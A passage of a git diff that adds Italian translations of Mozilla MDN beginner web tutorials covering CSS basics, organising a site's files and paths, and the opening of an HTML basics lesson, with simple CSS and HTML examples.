+<p><img alt="A mozilla logo and some paragraphs. The paragraph text has been styled red by our css." src="https://mdn.mozillademos.org/files/9435/website-screenshot-styled.png" style="display: block; height: 832px; margin: 0px auto; width: 711px;">Se il testo dei paragrafi ora è rosso, congratulazioni! Hai appena scritto il tuo primo CSS funzionante.</p>
+
+<h3 id="Anatomia_di_un_set_di_regole_CSS">Anatomia di un set di regole CSS</h3>
+
+<p>Diamo un'occhiata più approfondita al CSS precedente.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9461/css-declaration-small.png" style="display: block; height: 480px; margin: 0px auto; width: 850px;"></p>
+
+<p>Tutta la struttura è chiamata "insieme di regole" (rule set), ma spesso anche solo "regola", per brevità. Nota anche i nomi delle singole parti:</p>
+
+<dl>
+ <dt>Selettore</dt>
+ <dd>Il nome dell'elemento HTML all'inizio del set di regole. Seleziona l'elemento o gli elementi a cui applicare la regola (in questo caso, gli elementi p). Per applicare la regola di stile ad un elemento diverso basta cambiare il selettore.</dd>
+ <dt>Dichiarazione</dt>
+ <dd>Una sola regola/dichiarazione (color: red;) che definisce una delle proprietà dell'elemento.</dd>
+ <dt>Proprietà</dt>
+ <dd>Le proprietà di un dato elemento HTML che è possibile modificare; in questo caso il colore. Il colore è una delle proprietà degli elementi p. Nelle regole dei CSS si sceglie quali proprietà si desidera modificare.</dd>
+ <dt>Valore della proprietà</dt>
+ <dd>A destra della proprietà, separato dai due punti, si definisce il valore di quella proprietà, scegliendone uno tra i molti possibili (ci sono molti altri colori oltre al rosso).</dd>
+</dl>
+
+<p>Notate le altre parti importanti della sintassi:</p>
+
+<ul>
+ <li>A parte il selettore, ogni gruppo di regole deve essere chiuso tra parentesi graffe ({}).</li>
+ <li>All'interno di ogni dichiarazione, è necessario utilizzare i due punti (:) per separare proprietà e valore.</li>
+ <li>All'interno di ogni set di regole, è necessario utilizzare un punto e virgola (;) per separare una dichiarazione da quella successiva.</li>
+</ul>
+
+<p>Quindi, per modificare i valori di molte proprietà in una sola volta, è sufficiente scriverle separate da un punto e virgola; in questo modo:</p>
+
+<pre class="brush: css notranslate">p {
+  color: red;
+  width: 500px;
+  border: 1px solid black;
+}</pre>
+
+<h3 id="Selezionare_più_elementi">Selezionare più elementi</h3>
+
+<p>È anche possibile selezionare più tipi di elementi e applicare a tutti un unico insieme di regole. Bisogna specificare più selettori separandoli con virgole. Per esempio:</p>
+
+<pre class="brush: css notranslate">p,li,h1 {
+  color: red;
+}</pre>
+
+<h3 id="Differenti_tipi_di_selettori">Differenti tipi di selettori</h3>
+
+<p>Ci sono molti diversi selettori. Fin qui, abbiamo guardato solo ai selettori elemento, che selezionano tutti gli elementi di un tipo; ma siamo in grado di effettuare selezioni più specifiche. Ecco alcuni dei più comuni tipi di selettore:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nome del selettore</th>
+   <th scope="col">Cosa seleziona</th>
+   <th scope="col">Esempio</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Element selector (a volte chiamato tag o type selector)</td>
+   <td>Tutti gli elementi HTML del tipo specificato</td>
+   <td><code>p</code><br>
+    seleziona gli elementi <code>&lt;p&gt;</code></td>
+  </tr>
+  <tr>
+   <td>ID selector</td>
+   <td>L'elemento della pagina con l'ID specificato (in una specifica pagina HTML è consentito un solo elemento con un certo ID).</td>
+   <td><code>#my-id</code><br>
+    Seleziona <code>&lt;p id="my-id"&gt;</code> or <code>&lt;a id="my-id"&gt;</code></td>
+  </tr>
+  <tr>
+   <td>Class selector</td>
+   <td>Gli elementi della pagina della classe specificata (in una pagina la classe può essere richiamata più volte).</td>
+   <td><code>.my-class</code><br>
+    Selects <code>&lt;p class="my-class"&gt;</code> and <code>&lt;a class="my-class"&gt;</code></td>
+  </tr>
+  <tr>
+   <td>Attribute selector</td>
+   <td>Gli elementi della pagina con l'attributo specificato</td>
+   <td><code>img[src]</code><br>
+    Seleziona <code>&lt;img src="myimage.png"&gt;</code> ma non <code>&lt;img&gt;</code></td>
+  </tr>
+  <tr>
+   <td>Pseudo class selector</td>
+   <td>Gli elementi specificati, ma solo quando sono nello stato specificato, ad esempio quando c'è su il mouse.</td>
+   <td><code>a:hover</code><br>
+    Seleziona <code>&lt;a&gt;</code>, ma solo quando il puntatore del mouse si trova sopra il link.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ci sono molti altri selettori da conoscere e se ne può trovare un elenco più dettagliato nella nostra <a href="/en-US/docs/Web/Guide/CSS/Getting_started/Selectors">Selectors guide</a> (guida ai selettori).</p>
+
+<h2 id="Caratteri_e_testo">Caratteri e testo</h2>
+
+<p>Ora che abbiamo esplorato alcune nozioni di base dei CSS, possiamo aggiungere alcune regole e informazioni in più al nostro file stile.css per dare al nostro esempio un aspetto gradevole. Per cominciare, cerchiamo di migliorare l'aspetto dei caratteri e del testo.</p>
+
+<ol>
+ <li>Prima di tutto, andiamo a riprendere i <a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like#Font">Google Font</a> che abbiamo memorizzato in un posto sicuro. Aggiungiamo il tag &lt;link ...&gt; da qualche parte nella &lt;head&gt; del documento index.html (ancora una volta, in qualsiasi punto tra i tag &lt;head&gt; e &lt;/head&gt;. Sarà qualcosa di simile a questo:
+
+  <pre class="brush: html notranslate">&lt;link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'&gt;</pre>
+ </li>
+ <li>Successivamente, eliminiamo la regola creata prima: è stato un buon esercizio, ma il testo rosso in realtà non è una bellezza.</li>
+ <li>Al suo posto mettiamo le righe seguenti, sostituendo la linea segnaposto con la vera "font-family" ottenuta da Google Font. (Font-family significa semplicemente "famiglia di caratteri" che si desidera utilizzare). Questa regola imposta un font di base e la dimensione del carattere per l'intera pagina (poiché &lt;html&gt; è l'elemento padre di tutta la pagina, essendo tutti gli altri elementi al suo interno, erediteranno tutti gli stessi font-size e font-family):
+  <pre class="brush: html notranslate">html {
+  font-size: 10px; /* px significa 'pixels': la dimensione base del carattere è ora alta 10 pixels  */
+  font-family: segnaposto - questo dovrebbe essere il resto dell'output ottenuto da Google Fonts
+}</pre>
+
+  <div class="note">
+  <p><strong>Nota</strong>: per spiegare cosa significa "px" è stato aggiunto un "commento". Tutto ciò che, in un documento CSS, sta tra i simboli /* e */ è un <strong>commento CSS</strong> che il browser ignora quando esegue il rendering del codice. In questo modo si possono scrivere utili annotazioni su cosa si sta facendo con quelle regole.</p>
+  </div>
+ </li>
+ <li>Ora impostiamo le dimensioni dei caratteri per gli elementi di testo contenuti all'interno del "corpo" del documento HTML  ({{htmlelement("h1")}}, {{htmlelement("li")}}, e {{htmlelement("p")}}). Inoltre, centriamo il testo dell'intestazione e regoliamo l'altezza delle linee e la spaziatura dei caratteri per rendere il contenuto un po' più leggibile:
+  <pre class="brush: css notranslate">h1 {
+  font-size: 60px;
+  text-align: center;
+}
+
+p, li {
+  font-size: 16px;
+  line-height: 2;
+  letter-spacing: 1px;
+}</pre>
+ </li>
+</ol>
+
+<p>È possibile regolare questi valori a piacimento per far apparire il progetto come si vuole, ma dovrebbe essere qualcosa del genere:</p>
+
+<p><img alt="Immagine della pagina creata, un logo Mozilla e alcuni paragrafi. Impostato un tipo di carattere sans-serif, la dimensione dei caratteri, l'altezza delle linee, la spaziatura tra le lettere e l'intestazione della pagina è stata centrata." src="https://mdn.mozillademos.org/files/9447/website-screenshot-font-small.png" style="display: block; height: 1020px; margin: 0px auto; width: 921px;"></p>
+
+<h2 id="Box_box_tutta_una_questione_di_box">Box, box, tutta una questione di box</h2>
+
+<p>Una cosa che noterete riguardo ai CSS è che sono in gran parte assimilabili a contenitori (boxes): se ne modificano le dimensioni, il colore, la posizione, ecc. La maggior parte degli elementi HTML della pagina può essere pensato come un contenitore impilato su un altro.</p>
+
+<p><img alt="Immagine di una grande pila di casse impilate una sopra l'altra" src="https://mdn.mozillademos.org/files/9441/boxes.jpg" style="display: block; height: 463px; margin: 0px auto; width: 640px;"></p>
+
+<p>Non a caso, la struttura dei CSS si basa principalmente sul "box model". Ciascuno dei blocchi (o contenitori), occupando spazio sulla pagina, ha proprietà come queste:</p>
+
+<ul>
+ <li>padding (imbottitura), lo spazio intorno al contenuto (ad esempio intorno al testo di un paragrafo)</li>
+ <li>border (bordo), la linea continua che si trova intorno all'imbottitura (padding)</li>
+ <li>margin (margine), lo spazio intorno al bordo, la parte esterna dell'elemento</li>
+</ul>
+
+<p><img alt="three boxes sat inside one another. From outside to in they are labelled margin, border and padding" src="https://mdn.mozillademos.org/files/9443/box-model.png" style="display: block; height: 450px; margin: 0px auto; width: 574px;"></p>
+
+<p>In questa sezione usiamo anche:</p>
+
+<ul>
+ <li><code>width</code> (larghezza di un elemento)</li>
+ <li><code>background-color</code>, il colore di sfondo dell'elemento</li>
+ <li><code>color</code>, il colore del contenuto dell'elemento (abitualmente testo)</li>
+ <li><code>text-shadow</code>: imposta un ombra per il testo contenuto nell'elemento</li>
+ <li><code>display</code>: imposta la modalità di visualizzazione dell'elemento (per ora no ti preoccupare di cosa voglia dire)</li>
+</ul>
+
+<p>Adesso, aggiungiamo un po' di regole al documento CSS! Mettiamole in fondo alla pagina e sperimentiamo senza paura modificando i valori per vedere cosa si ottiene.</p>
+
+<h3 id="Cambiare_il_colore_della_pagina">Cambiare il colore della pagina</h3>
+
+<pre class="brush: css notranslate">html {
+  background-color: #00539F;
+}</pre>
+
+<p>Questa regola imposta il colore di sfondo per l'intera pagina. Modificate il codice relativo al colore con quello che avete scelto pianificando il sito.<a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like#Theme_color"> (planning your site</a>).</p>
+
+<h3 id="Formattazione_del_&lt;body>">Formattazione del &lt;body&gt;</h3>
+
+<pre class="brush: css notranslate">body {
+  width: 600px;
+  margin: 0 auto;
+  background-color: #FF9500;
+  padding: 0 20px 20px 20px;
+  border: 5px solid black;
+}</pre>
+
+<p>Qui ci sono diverse dichiarazioni; vediamole una per una:</p>
+
+<ul>
+ <li><code>width: 600px;</code> — imposta una larghezza fissa di 600 px</li>
+ <li><code>margin: 0 auto;</code> — Quando si impostano 2 valori per le proprietà <code>margin</code> o <code>padding</code>, il primo valore sarà riferito ai lati top e bottom (in questo caso li rende uguali a 0), il secondo valore ai lati left e right (in questo caso imposta il valore <code>auto</code> che è uno speciale valore che divide lo spazio disponibile orizzontalmente tra i due lati). Si possono anche usare 1, 3 o 4 valori come documentato <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/margin#Values">qui</a>.</li>
+ <li><code>background-color: #FF9500;</code> — come già visto, imposta il colore di sfondo dell'elemento. Ho usato un reddish orange per l'elemento &lt;body&gt; per contrastare il dark blue dell'elemento &lt;html&gt;. Vai avanti a sperimentare. Sentiti libero di usare il white o qualunque altro colore ti piaccia.</li>
+ <li><code>padding: 0 20px 20px 20px;</code> — abbiamo 4 valori di padding, per creare un po' di spazio attorno al contenuto. Questa volta il padding è 0 per il lato top del &lt;body&gt;  e 20 pixels per left, bottom e right. I valori si riferiscono, nell'ordine, ai lati top, right, bottom, left (senso orario).</li>
+ <li><code>border: 5px solid black;</code> — qui si imposta un bordo di 5 pixel di spessore, solid, nero (black) su tutti i lati dell'elemento &lt;body&gt;.</li>
+</ul>
+
+<h3 id="Posizionare_e_formattare_il_titolo_principale_della_pagina">Posizionare e formattare il titolo principale della pagina</h3>
+
+<pre class="brush: css notranslate"><code>h1 {
+  margin: 0;
+  padding: 20px 0;
+  color: #00539F;
+  text-shadow: 3px 3px 1px black;
+}</code></pre>
+
+<p>Potresti aver notato che c'è un orribile spazio in cima all'elemento body. Questo accade perché i browsers applicano alcune formattazioni di default all'elemento {{htmlelement("h1")}} (tra gli altri) anche quando non viene definita alcuna regola nel CSS. Ciò potrebbe sembrare una cattiva idea, ma si vuole che anche un documento non formattato abbia una minima leggibilità. Per eliminare quello spazio abbiamo scavalcato il comportamento del browser impostando  <code>margin: 0;</code>.</p>
+
+<p>Poi abbiamo impostato il padding dei lati top e bottom del titolo a 20 pixels e assegnato al testo lo stesso colore dello sfondo dell'elemento &lt;html&gt;.</p>
+
+<p>Una proprietà piuttosto interessante che abbiamo usato é <code>text-shadow</code>, che applica un'ombra al testo contenuto nell'elemento. I suoi 4 valori sono i seguenti:</p>
+
+<ul>
+ <li>Il primo valore in pixels imposta l' <strong>horizontal offset</strong> (spostamento orizzontale) dell'ombra dal testo — di quanto si sposta; un valore negativo la sposta a sinistra</li>
+ <li>Il secondo valore in pixels imposta il <strong>vertical offset</strong> (spostamento verticale) — di quanto si sposta in giù; un valore negativo la sposta verso l'alto</li>
+ <li>Il terzo valore in pixels imposta il <strong>blur radius</strong> (raggio di sfumatura) dell'ombra — un valore più grande determina un'ombra maggiormente offuscata.</li>
+ <li>Il quarto valore imposta il colore base dell'ombra.</li>
+</ul>
+
+<p>Ancora, proviamo a sperimentare diversi valori per capire quali effetti possiamo ottenere.</p>
+
+<h3 id="Centrare_limmagine">Centrare l'immagine</h3>
+
+<pre class="brush: css notranslate">img {
+  display: block;
+  margin: 0 auto;
+}</pre>
+
+<p>Infine, centriamo l'immagine per avere un miglior effetto. Possiamo usare il trucco dei margini (<code>margin: 0 auto</code>) come abbiamo già fatto per il body, ma abbiamo anche bisogno di qualcos'altro: l'elemento body è <strong>block level</strong>, ciò significa che prende spazio nella pagina e gli possono essere applicati parametri come i margini e il padding. Le immagini, al contrario, sono elementi <strong>inline</strong>, il che significa che non gli si potrebbe attribuire quei parametri; quindi per applicare all'immagine i margini dobbiamo stabilire che si comporti come i blocchi, usando la regola "<code>display: block;</code>".</p>
+
+<div class="note">
+<p><strong>Nota</strong>: non preoccuparti se per ora non capisci la regola <code>display: block;</code> e la distinzione tra elementi del block level e inline level. La imparerai studiando più in dettaglio i CSS. Puoi scoprire di più sui possibili valori display nella nostra pagina di riferimento (<a href="/en-US/docs/Web/CSS/display">display reference page</a>).</p>
+</div>
+
+<h2 id="Conclusioni">Conclusioni</h2>
+
+<p>Se hai seguito tutte le istruzioni in questo articolo dovresti aver ottenuto qualcosa che assomiglia a questo (puoi confrontare <a href="http://mdn.github.io/beginner-html-site-styled/">la nostra versione qui</a>):</p>
+
+<p><img alt="Il logo mozilla, centrato, titolo e paragrafi. Adesso ha un bello stile con uno sfondo blu per l'intera pagina e arancione per la fascia principale." src="https://mdn.mozillademos.org/files/9455/website-screenshot-final.png" style="display: block; height: 1084px; margin: 0px auto; width: 940px;"></p>
+
+<p>Se sei bloccato puoi sempre confrontare il tuo lavoro con il nostro su GitHUb (<a href="https://github.com/mdn/beginner-html-site-styled/blob/gh-pages/styles/style.css">finished example code on Github</a>).</p>
+
+<p>Qui abbiamo solo scalfito la superfice dei CSS. Per scoprire di più vai a vedere <a href="https://developer.mozilla.org/en-US/Learn/CSS">CSS Learning topic</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/it/learn/getting_started_with_the_web/gestire_i_file/index.html b/files/it/learn/getting_started_with_the_web/gestire_i_file/index.html
new file mode 100644
index 0000000000..d7c574320b
--- /dev/null
+++ b/files/it/learn/getting_started_with_the_web/gestire_i_file/index.html
@@ -0,0 +1,95 @@
+---
+title: Gestire i file
+slug: Learn/Getting_started_with_the_web/Gestire_i_file
+translation_of: Learn/Getting_started_with_the_web/Dealing_with_files
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>Un sito web è composto da molti file: contenuti testuali, codice, fogli di stile, contenuti multimediali e molto altro. Quando crei un sito web, devi assemblare questi files nel tuo computer in maniera strutturata,  facendo si che essi possano <em>dialogare</em> tra di loro e facendo in modo che tutto il contenuto appaia correttamente, prima di (eventualmente) <a href="/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">caricarli su un server</a>. Questa pagina esamina alcune problematiche che dovresti conoscere, così da saper impostare una struttura  corretta dei files necessari al tuo sito web.</p>
+</div>
+
+<h2 id="Dove_andrebbe_collocato_il_tuo_sito_web_all'interno_del_tuo_computer">Dove andrebbe collocato il tuo sito web all'interno del tuo computer?</h2>
+
+<p>Quando stai lavorando a un sito web localmente sul tuo computer, dovresti tenere tutti i file in una singola cartella che rispecchi la struttura di file all'interno del tuo server. Questa cartella può essere creata ovunque tu voglia, ma dovresti posizionarla in una directory dove tu possa facilmente trovarla, magari sul tuo Desktop, nella tua cartella di Home, o nella root del tuo hard drive.</p>
+
+<ol>
+ <li>Seleziona un posto dove archiviare i tuoi progetti web. Qui, crea una nuova cartella chiamata <code>progetti-web</code> (o qualcosa di simile). Ecco dove vivrà il tuo intero sito web.</li>
+ <li>Dentro questa prima cartella, crea un'altra cartella per archiviare al suo interno il tuo primo sito web. Chiamala <code>sito-test</code> (o qualcosa di più fantasioso).</li>
+</ol>
+
+<h2 id="Un_chiarimento_riguardo_gli_spazi_e_la_distinzione_tra_maiuscole_e_minuscole">Un chiarimento riguardo gli spazi e la distinzione tra maiuscole e minuscole</h2>
+
+<p>Forse hai notato che, nel corso di questo articolo, i nomi delle cartelle e dei file sono sempre in minuscolo e senza spazi. Questo perchè:</p>
+
+<ol>
+ <li>Tanti computer, particolarmente i server web, fanno una distinzione tra lettere maiuscole e minuscole. Ad esempio: se crei un'immagine nella cartella <code>test-site</code> e le assegni il nome <code>MyImage.jpg</code>, ma successivamente provi ad aprirla usando <code>myimage.jpg</code>, potrebbe non funzionare.</li>
+ <li>Browsers, server web e linguaggi di programmazione non gestiscono gli spazi tutti allo stesso modo. Per esempio, se usi gli spazi nella denominazione di un file, alcuni sistemi li tratteranno come se fossero più nomi. Alcuni server sostituiscono lo spazio con "%20" (il codice carattere che viene usato al posto degli  spazi nei URL), rendendo impossibile aprire  tutti i tuoi link. È  meglio quindi separare con dei trattini o con delle sottolineature, ad esempio: <code> my-file.html</code> o <code>my_file.html</code>.</li>
+</ol>
+
+<p>In ogni caso dovresti usare il trattino per separare le parole. Google considera i trattini come separatori delle parole, ma non tratta le sottilineature allo stesso modo. Per queste ragioni è buona abitudine scrivere il nome dei file e delle cartelle in minuscolo senza spazi e separando le parole con trattini, almeno fino a quando sai cosa stai facendo. In questo modo non cadrai in errori comuni nel futuro.</p>
+
+<h2 id="Quale_struttura_dovrebbe_avere_il_tuo_sito">Quale struttura dovrebbe avere il tuo sito?</h2>
+
+<p>La struttura più utilizzata in qualsiasi progetto è un file HTML, che funge da homepage, e delle cartelle per contenere immagini, fogli di stile e file di script. Vediamola insieme:</p>
+
+<ol>
+ <li><code><strong>index.html</strong></code>: Questo file racchiude generalmente il contenuto della tua homepage, cioè il testo e le immagini che le persone vedono quando accedono per la prima volta al tuo sito. Usando il tuo text editor, crea un nuovo file chiamato <code>index.html</code> e salvalo nella cartella <code>test-site</code>.</li>
+ <li><strong>cartella <code>images</code></strong>: Questa cartella racchiude tutte le immagini che usi nel tuo sito. Crea una sottocartella chiamata <code>images</code>, nella cartella <code>test-site</code>.</li>
+ <li><strong>cartella <code>styles</code></strong>: Questa cartella racchiude il codice CSS usato per creare il contenuto  grafico  (per esempio, quale font usare, quali colori usare come sfondo). Crea una sottocartella chiamata  <code>styles</code>, nella cartella <code>test-site</code>.</li>
+ <li><strong>cartella <code>scripts</code></strong>: Questa cartella racchiude tutto il codice JavaScript usato per aggiungere funzioni interattive al tuo sito (per. es. tasti che caricano dei dati quando vengono cliccati ). Crea una sottocartella chiamata <code>scripts</code>, nella cartella <code>test-site</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Su Windows, potresti avere problemi a vedere l'estensione dei file, perchè Windows ha un opzione chiamata <strong>Nascondi estensioni per tipi di file conosciuti</strong> attivata per default. Normalmente puoi disattivarla in Windows Explorer, selezionando <strong>Opzioni cartella...</strong> , deselezionare <strong>Nascondi estensioni per tipi di file conosciuti</strong>, poi cliccando <strong>OK</strong>. Per avere più informazioni sulla tua versione di Windows, fai una ricerca su internet!</p>
+</div>
+
+<h2 id="Percorsi_dei_file">Percorsi dei file</h2>
+
+<p>Per permettere ad un file di trovarne un altro, dovremo indicare un percorso tra di loro - in pratica creare un itinerario, così che un file possa <em>sapere</em> dov'è l'altro. Per dimostrare ciò, inseriremo un po' di codice HTML nel nostro file <code>index.html</code>, rendendo così possibile mostrare l'immagine scelta nell'articolo <a href="/it/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like">"Come dovrebbe apparire il tuo sito web?"</a></p>
+
+<ol>
+ <li>Copia l'immagine scelta in precedenza nella cartella <code>images</code>.</li>
+ <li>Apri il file <code>index.html</code>, e inserisci il codice che segue, così come lo vedi scritto. Non preoccuparti  del suo significato per ora - approfondiremo i dettagli più avanti.
+  <pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;La mia pagina di prova&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;img src="" alt="La mia immagine di prova"&gt;
+  &lt;/body&gt;
+&lt;/html&gt; </pre>
+ </li>
+ <li>La riga <code>&lt;img src="" alt="My test image"&gt;</code> è il codice HTML che si occupa di mostrare l'immagine nella pagina. Dobbiamo indicare nell'HTML dove trovare l'immagine: essa si trova all'interno della directory <em>images</em>, che a sua volta è nella directory comune a <code>index.html</code>. Scorrendo lo schema strutturale da <code>index.html</code> alla nostra immagine, il percorso che dovremmo avere è: <code>images/your-image-filename</code>. Se ad esempio, la mia immagine si chiama <code>firefox-icon.png</code>, allora il percorso corretto sarà <code>images/firefox-icon.png</code>.</li>
+ <li>Scrivi l'indirizzo del file nel codice HTML, tra le virgolette di <code>src=""</code>.</li>
+ <li>Salva il tuo file HTML, ed aprilo con il browser web (puoi farlo velocemente con un doppio click). Dovresti vedere l'immagine nella tua pagina web appena creata.</li>
+</ol>
+
+<p><img alt="A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world" src="https://mdn.mozillademos.org/files/9229/website-screenshot.png" style="display: block; height: 542px; margin: 0px auto; width: 690px;"></p>
+
+<p>Alcune regole generali per i percorsi dei file:</p>
+
+<ul>
+ <li>Per indicare che il file è nella stessa cartella / directory del file HTML richiesto, puoi semplicemente usare il nome del file, ad esempio: <code>my-image.jpg</code>.</li>
+ <li>Per riferirti ad un file in una sotto cartella / directory, scrivi il nome della directory prima del nome del file e separali con un forward slash (/), ad esempio <code>subdirectory/my-image.jpg</code>.</li>
+ <li>Per usare un file che si trova in una cartella / directory al di fuori di quella dove risiede il file HTML richiesto, si possono usare due punti (<code>..</code>). Ad esempio se <code>index.html</code> si trova in una sotto cartella / directory di <code>test-site</code> e <code>my-image.jpg</code> è all'interno di  <code>test-site</code>, <code>my-image.jpg</code> può essere richiamato da <code>index.html</code> usando <code>../my-image.jpg</code>.</li>
+ <li>Queste notazioni, possono essere combinate come si preferisce, ad esempio <code>../subdirectory/another-subdirectory/my-image.jpg</code>.</li>
+</ul>
+
+<p>For now, this is about all you need to know.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Il file system di Windows, usa i backslash, non i forward slash, esempio: <code>C:\windows</code>. Questo nel codice HTML non conta — anche se stai sviluppando il tuo sito web su Windows, è obbligatorio usare i forward slash nel codice.</p>
+</div>
+
+<h2 id="Cos'altro_dovrei_fare">Cos'altro dovrei fare?</h2>
+
+<p>Per ora è tutto. L'albero della tua cartella / directory, dovrebbe essere simile a questo:</p>
+
+<p><img alt="A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file" src="https://mdn.mozillademos.org/files/9231/file-structure.png" style="display: block; height: 577px; margin: 0px auto; width: 929px;"></p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/it/learn/getting_started_with_the_web/html_basics/index.html b/files/it/learn/getting_started_with_the_web/html_basics/index.html
new file mode 100644
index 0000000000..8ab4970c7c
--- /dev/null
+++ b/files/it/learn/getting_started_with_the_web/html_basics/index.html
@@ -0,0 +1,217 @@
+---
+title: Basi di HTML
+slug: Learn/Getting_started_with_the_web/HTML_basics
+tags:
+  - Corso
+  - Principianti
+translation_of: Learn/Getting_started_with_the_web/HTML_basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>HTML (<strong>H</strong>ypertext Markup Language) è il codice usato per strutturare e visualizzare una pagina web e il suo contenuto. Per esempio, il contenuto potrebbe essere strutturato in una serie di paragrafi, un elenco oppure con immagini e tabelle di dati. Come suggerisce il titolo, questo articolo ti fornirà una comprensione di base dell'HTML e delle sue funzioni.</p>
+</div>
+
+<h2 id="Ma_cosè_veramente_lHTML">Ma cos'è veramente l'HTML?</h2>
+
+<p>HTML non è un linguaggio di programmazione; è un linguaggio basato sui <em>markup</em>, ed è utilizzato per indicare al browser come visualizzare le pagine web che vengono visitate. Può essere complicato o semplice a seconda di come i web designer ne utilizzano le funzionalità. HTML consiste in una serie di <strong>{{Glossary("element", "elementi")}}</strong>, che vengono usati per raggruppare o impacchettare parti differenti del contenuto, per farlo apparire o agire in uno specifico modo. L'uso dei {{Glossary("tag", "tags")}} può fare di una parola o di un'immagine un hyperlink, ossia un collegamento a qualcos'altro, oppure può rendere il testo in corsivo, il font più grande o più piccolo, eccetera. Per esempio, prendiamo la seguente linea del contenuto:</p>
+
+<pre class="notranslate">My cat is very grumpy</pre>
+
+<p>Se vogliamo che la linea venga visualizzata isolatamente, possiamo specificare che è un paragrafo, includendola all'interno di tags che identificano il paragrafo:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;My cat is very grumpy&lt;/p&gt;</pre>
+
+<h3 id="Anatomia_di_un_elemento_HTML">Anatomia di un elemento HTML</h3>
+
+<p>Analizziamo in maniera più approfondita l'elemento che identifica il paragrafo.</p>
+
+<p><br>
+ <img alt="" src="https://mdn.mozillademos.org/files/9347/grumpy-cat-small.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p>
+
+<p>Le parti principali dell'elemento sono:</p>
+
+<ol>
+ <li><strong>Il tag di apertura:</strong> è il nome dell'elemento (in questo caso, p), incluso tra il <strong>segno di minore</strong> e il <strong>segno di maggiore</strong>. Questo indica dove l'elemento inizia, o dove inizia ad avere effetto — in questo caso indica l'inizio del paragrafo.</li>
+ <li><strong>Il tag di chiusura:</strong> ha lo stesso formato del tag di apertura ad eccezione della barra che deve precedere il nome dell'elemento. Indica dove termina l'elemento — in questo caso, la fine del paragrafo. Dimenticare di includere il tag di chiusura è uno degli errori più comuni tra i principianti e può portare a risultati imprevisti.</li>
+ <li><strong>Il contenuto:</strong> Questo rappresenta il contenuto dell'elemento, che nel nostro caso è solo testo.</li>
+ <li><strong>L'elemento:</strong> Il tag di apertura insieme al tag di chiusura ed al contenuto rappresentano l'elemento.</li>
+</ol>
+
+<p>Gli elementi possono anche avere attributi, come nell'esempio che segue:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9345/grumpy-cat-attribute-small.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p>
+
+<p>Gli attributi contengono informazioni extra sull'elemento che non si desidera appaiano nel contenuto visualizzato. Nell'esempio, <code>class</code> è il <em>nome</em> dell'attributo, e <code>editor-note</code> è il<em> valore</em> dell'attributo. L'attributo <code>class</code> permette di associare un identificatore all'elemento che potrà essere usato in seguito per applicare all'elemento informazioni di stile e altre cose.</p>
+
+<p>Un attributo dovrebbe sempre avere:</p>
+
+<ol>
+ <li>Uno spazio che lo separa dal nome dell'elemento (o dal precedente attributo, se l'elemento ha già uno o più attributi)</li>
+ <li>Il nome dell'attributo, seguito dal segno di uguale</li>
+ <li>Il valore dell'attributo incluso tra doppi apici.        </li>
+</ol>
+
+<h3 id="Elementi_annidati">Elementi annidati</h3>
+
+<p>E' possibile anche inserire elementi all'interno di altri elementi — questa modalità è chiamata <strong>nesting (annidamento)</strong>. Se volessimo affermare che "The cat is <strong>very</strong> grumpy", potremmo racchiudere la parola "very" in un elemento {{htmlelement("strong")}}, che indica che la parola deve essere fortemente enfatizzata:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;My cat is &lt;strong&gt;very&lt;/strong&gt; grumpy.&lt;/p&gt;</pre>
+
+<p>Bisogna tuttavia assicurarsi che gli elementi siano opportunamente annidati: nell'esempio sopra abbiamo aperto il primo elemento {{htmlelement("p")}}, poi l'elemento <span style="background-color: transparent; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;">{{htmlelement("strong")}}</span>, perciò dobbiamo chiudere l'elemento {{htmlelement("strong")}} per primo, poi l'elemento {{htmlelement("p")}}. L'esempio che segue non è corretto:</p>
+
+<pre class="example-bad brush: html notranslate">&lt;p&gt;My cat is &lt;strong&gt;very grumpy.&lt;/p&gt;&lt;/strong&gt;</pre>
+
+<p>Gli elementi devono essere aperti e chiusi correttamente in modo che sia chiaro come essi si trovino l'uno all'interno dell'altro. Se si sovrappongono come nell'esempio sopra, il browser web cercherà di interpretare al meglio quello che si sta cercando di dire, ma si potrebbero ottenere risultati inattesi. Quindi non va fatto!</p>
+
